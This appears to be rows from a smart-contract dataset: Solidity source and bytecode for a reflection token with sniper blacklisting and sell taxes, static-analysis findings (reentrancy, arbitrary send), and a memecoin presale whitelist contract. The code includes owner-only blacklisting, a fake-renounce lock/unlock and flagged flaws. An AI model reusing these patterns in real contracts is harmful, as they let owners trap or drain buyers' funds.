swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b80639e78fb4f146105cf5780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b60405161027091906121c4565b60405180910390f35b34801561028557600080fd5b5061029961029436600461206f565b610720565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611fbb565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a36600461202e565b610737565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b5061039561039036600461209b565b6107a0565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b5060405160098152602001610270565b3480156103d557600080fd5b506103956103e4366004611fbb565b61083f565b3480156103f557600080fd5b506103956104043660046121a2565b6108ae565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b50610395610444366004612189565b6108ff565b34801561045557600080fd5b50610395610464366004611fbb565b61093c565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a366004612167565b610996565b3480156104ab57600080fd5b506103956109de565b3480156104c057600080fd5b506103316104cf366004611fbb565b610a08565b3480156104e057600080fd5b50610395610a2a565b3480156104f557600080fd5b50610395610504366004612189565b610a9e565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610ae1565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b50610395610565366004612189565b610b3b565b34801561057657600080fd5b506000546001600160a01b0316610302565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105db57600080fd5b50610395610bb7565b3480156105f057600080fd5b506103956105ff3660046121a2565b610d9c565b34801561061057600080fd5b5061039561061f366004612167565b610ded565b34801561063057600080fd5b5061029961063f36600461206f565b610e35565b34801561065057600080fd5b5061039561065f3660046121a2565b610e42565b34801561067057600080fd5b5061033161067f366004611ff5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103956106c5366004612189565b610e93565b3480156106d657600080fd5b506103956106e5366004612189565b610edd565b3480156106f657600080fd5b50610395610705366004611fbb565b610f1b565b34801561071657600080fd5b5061033160185481565b600061072d338484611005565b5060015b92915050565b6000610744848484611129565b6107968433610791856040518060600160405280602881526020016123c9602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611850565b611005565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca90612219565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f7612387565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083381612356565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca90612219565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca90612219565b60018211156108e657600080fd5b60018111156108f457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016107ca90612219565b600181111561093757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461095c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016107ca90612219565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fe57600080fd5b476108ab8161188a565b6001600160a01b038116600090815260026020526040812054610731906118c4565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016107ca90612219565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016107ca90612219565b66b1a2bc2ec50000811015610adc57600080fd5b601b55565b6000546001600160a01b03163314610b0b5760405162461bcd60e51b81526004016107ca90612219565b601a54600160a01b900460ff1615610b2257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b5b57600080fd5b610b6430610a08565b8111158015610b735750600081115b610bae5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab81611948565b6000546001600160a01b03163314610be15760405162461bcd60e51b81526004016107ca90612219565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610c4157600080fd5b505afa158015610c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c799190611fd8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc157600080fd5b505afa158015610cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf99190611fd8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d4157600080fd5b505af1158015610d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d799190611fd8565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610dc65760405162461bcd60e51b81526004016107ca90612219565b6001821115610dd457600080fd5b6013811115610de257600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e175760405162461bcd60e51b81526004016107ca90612219565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d338484611129565b6000546001600160a01b03163314610e6c5760405162461bcd60e51b81526004016107ca90612219565b600d821115610e7a57600080fd5b600d811115610e8857600080fd5b600e91909155601055565b6000546001600160a01b03163314610ebd5760405162461bcd60e51b81526004016107ca90612219565b6004811115610ecb57600080fd5b610ed781610e10612320565b60185550565b6000546001600160a01b03163314610f075760405162461bcd60e51b81526004016107ca90612219565b601c54811015610f1657600080fd5b601c55565b6000546001600160a01b03163314610f455760405162461bcd60e51b81526004016107ca90612219565b6001600160a01b038116610faa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661118d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ca565b6001600160a01b0382166111ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b600081116112515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ca565b6001600160a01b03821660009081526009602052604090205460ff161561128a5760405162461bcd60e51b81526004016107ca9061224e565b6001600160a01b03831660009081526009602052604090205460ff16156112c35760405162461bcd60e51b81526004016107ca9061224e565b3360009081526009602052604090205460ff16156112f35760405162461bcd60e51b81526004016107ca9061224e565b6000546001600160a01b0384811691161480159061131f57506000546001600160a01b03838116911614155b1561169857601a54600160a01b900460ff1661137d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b0383811691161480156113a857506019546001600160a01b03848116911614155b1561145a576001600160a01b03821630148015906113cf57506001600160a01b0383163014155b80156113e957506017546001600160a01b03838116911614155b801561140357506017546001600160a01b03848116911614155b1561145a57601b5481111561145a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b0383811691161480159061148657506017546001600160a01b03838116911614155b801561149b57506001600160a01b0382163014155b80156114b257506001600160a01b03821661dead14155b1561159257601c54816114c484610a08565b6114ce91906122e6565b106115275760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ca565b601a54600160b81b900460ff161561159257600a54611548906104b06122e6565b421161159257601e548111156115925760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ca565b600061159d30610a08565b601d5490915081118080156115bc5750601a54600160a81b900460ff16155b80156115d65750601a546001600160a01b03868116911614155b80156115eb5750601a54600160b01b900460ff165b801561161057506001600160a01b03851660009081526006602052604090205460ff16155b801561163557506001600160a01b03841660009081526006602052604090205460ff16155b15611695576013546000901561167057611665606461165f60135486611ad190919063ffffffff16565b90611b50565b905061167081611b92565b61168261167d828561233f565b611948565b478015611692576116924761188a565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116da57506001600160a01b03831660009081526006602052604090205460ff165b8061170c5750601a546001600160a01b0385811691161480159061170c5750601a546001600160a01b03848116911614155b156117195750600061183e565b601a546001600160a01b03858116911614801561174457506019546001600160a01b03848116911614155b1561179f576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561179f576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156117ca57506019546001600160a01b03858116911614155b1561183e576001600160a01b0384166000908152600460205260409020541580159061181b57506018546001600160a01b0385166000908152600460205260409020544291611818916122e6565b10155b1561183157600b54601155600c5460125561183e565b600f546011556010546012555b61184a84848484611b9f565b50505050565b600081848411156118745760405162461bcd60e51b81526004016107ca91906121c4565b506000611881848661233f565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b600060075482111561192b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b6000611935611bd3565b90506119418382611b50565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061199057611990612387565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119e457600080fd5b505afa1580156119f8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1c9190611fd8565b81600181518110611a2f57611a2f612387565b6001600160a01b039283166020918202929092010152601954611a559130911684611005565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a8e908590600090869030904290600401612275565b600060405180830381600087803b158015611aa857600080fd5b505af1158015611abc573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611ae057506000610731565b6000611aec8385612320565b905082611af985836122fe565b146119415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b600061194183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bf6565b6108ab3061dead83611129565b80611bac57611bac611c24565b611bb7848484611c69565b8061184a5761184a601454601155601554601255601654601355565b6000806000611be0611d60565b9092509050611bef8282611b50565b9250505090565b60008183611c175760405162461bcd60e51b81526004016107ca91906121c4565b50600061188184866122fe565b601154158015611c345750601254155b8015611c405750601354155b15611c4757565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c7b87611da0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cad9087611dfd565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cdc9086611e3f565b6001600160a01b038916600090815260026020526040902055611cfe81611e9e565b611d088483611ee8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d4d91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d7b8282611b50565b821015611d9757505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611dbd8a601154601254611f0c565b9250925092506000611dcd611bd3565b90506000806000611de08e878787611f5b565b919e509c509a509598509396509194505050505091939550919395565b600061194183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611850565b600080611e4c83856122e6565b9050838110156119415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611ea8611bd3565b90506000611eb68383611ad1565b30600090815260026020526040902054909150611ed39082611e3f565b30600090815260026020526040902055505050565b600754611ef59083611dfd565b600755600854611f059082611e3f565b6008555050565b6000808080611f20606461165f8989611ad1565b90506000611f33606461165f8a89611ad1565b90506000611f4b82611f458b86611dfd565b90611dfd565b9992985090965090945050505050565b6000808080611f6a8886611ad1565b90506000611f788887611ad1565b90506000611f868888611ad1565b90506000611f9882611f458686611dfd565b939b939a50919850919650505050505050565b8035611fb6816123b3565b919050565b600060208284031215611fcd57600080fd5b8135611941816123b3565b600060208284031215611fea57600080fd5b8151611941816123b3565b6000806040838503121561200857600080fd5b8235612013816123b3565b91506020830135612023816123b3565b809150509250929050565b60008060006060848603121561204357600080fd5b833561204e816123b3565b9250602084013561205e816123b3565b929592945050506040919091013590565b6000806040838503121561208257600080fd5b823561208d816123b3565b946020939093013593505050565b600060208083850312156120ae57600080fd5b823567ffffffffffffffff808211156120c657600080fd5b818501915085601f8301126120da57600080fd5b8135818111156120ec576120ec61239d565b8060051b604051601f19603f830116810181811085821117156121115761211161239d565b604052828152858101935084860182860187018a101561213057600080fd5b600095505b8386101561215a5761214681611fab565b855260019590950194938601938601612135565b5098975050505050505050565b60006020828403121561217957600080fd5b8135801515811461194157600080fd5b60006020828403121561219b57600080fd5b5035919050565b600080604083850312156121b557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156121f1578581018301518582016040015282016121d5565b81811115612203576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122c55784516001600160a01b0316835293830193918301916001016122a0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156122f9576122f9612371565b500190565b60008261231b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561233a5761233a612371565b500290565b60008282101561235157612351612371565b500390565b600060001982141561236a5761236a612371565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203cc4d439c823f6d8378f68140764758e4dd4910125162217a147adf83f2cc4f464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,980 |
0x944c9C78904436518cD5BC67a63073DB32487103
|
/**
*
* Uncle Scrooge Finance Whitelist Contract
*
* TG: https://t.me/Scroogetoken
*
* In many cultures of the world ducks are a symbol of luck, love and prosperity.
*
* Uncle $crooge needs your help to begin a new era in memecoin trading,
* THE ERA OF THE DUCK! Quack * Quack
*
* Looking at how long we’ve had dogs and cats rule the memecoin world,
* it’s time for a change. It’s time for * a new trend! Innovation, be it creative or
* technological has to be RADICAL because crypto feeds off of innovation.
*
* Do you want to benefit the broader community? Do you want to see the bull
* market continue? Do you want new fresh projects to ape in?
* Are you tired of all the shibas and inus and elons?
*
*
*
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CROOGEWhitelist is Ownable {
address public tokenAddress;
uint256 public tokensPerAllocation;
uint256 public allocationSize;
mapping(address => bool) public isWhitelisted;
mapping(address => bool) public didBuy;
constructor(address _tokenAddress) public {
tokenAddress = _tokenAddress;
}
receive() external payable {
buy();
}
function setTokensPerAllocation(uint256 amount) public onlyOwner {
tokensPerAllocation = amount;
}
function setAllocationSize(uint256 amount) public onlyOwner {
allocationSize = amount;
}
function whitelistAddresses(address[] memory account) public onlyOwner {
for (uint256 i = 0; i < account.length; i++) {
isWhitelisted[account[i]] = true;
}
}
function removeAddressesFromWhitelist(address[] memory account) public onlyOwner {
for (uint256 i = 0; i < account.length; i++) {
isWhitelisted[account[i]] = false;
}
}
function withdrawTokens() public onlyOwner {
IERC20(tokenAddress).transfer(owner(), IERC20(tokenAddress).balanceOf(address(this)));
}
function withdrawETH() public onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function buy() public payable {
require(tokensPerAllocation > 0 && allocationSize > 0, "Not initialized yet");
require(isWhitelisted[msg.sender], "Address is not whitelisted");
require(!didBuy[msg.sender], "Address already bought");
require(msg.value == allocationSize, "Wrong ETH amount sent");
IERC20(tokenAddress).transfer(msg.sender, tokensPerAllocation);
didBuy[msg.sender] = true;
}
}
|
0x60806040526004361061010c5760003560e01c80639d76ea5811610095578063ba88544611610064578063ba885446146104ea578063dd46706414610515578063e086e5ec14610550578063ed46cac014610567578063f2fde38b146105925761011b565b80639d76ea581461045d578063a69df4b51461049e578063a6f2ae3a146104b5578063b6c52324146104bf5761011b565b80633af32abf116100dc5780633af32abf14610320578063715018a6146103875780638d8f2adb1461039e5780638da5cb5b146103b557806398680f6d146103f65761011b565b80624649b01461012057806324953eaa1461015b5780632bf0430414610220578063332a745f146102e55761011b565b3661011b576101196105e3565b005b600080fd5b34801561012c57600080fd5b506101596004803603602081101561014357600080fd5b810190808035906020019092919050505061098a565b005b34801561016757600080fd5b5061021e6004803603602081101561017e57600080fd5b810190808035906020019064010000000081111561019b57600080fd5b8201836020820111156101ad57600080fd5b803590602001918460208302840111640100000000831117156101cf57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610a5c565b005b34801561022c57600080fd5b506102e36004803603602081101561024357600080fd5b81019080803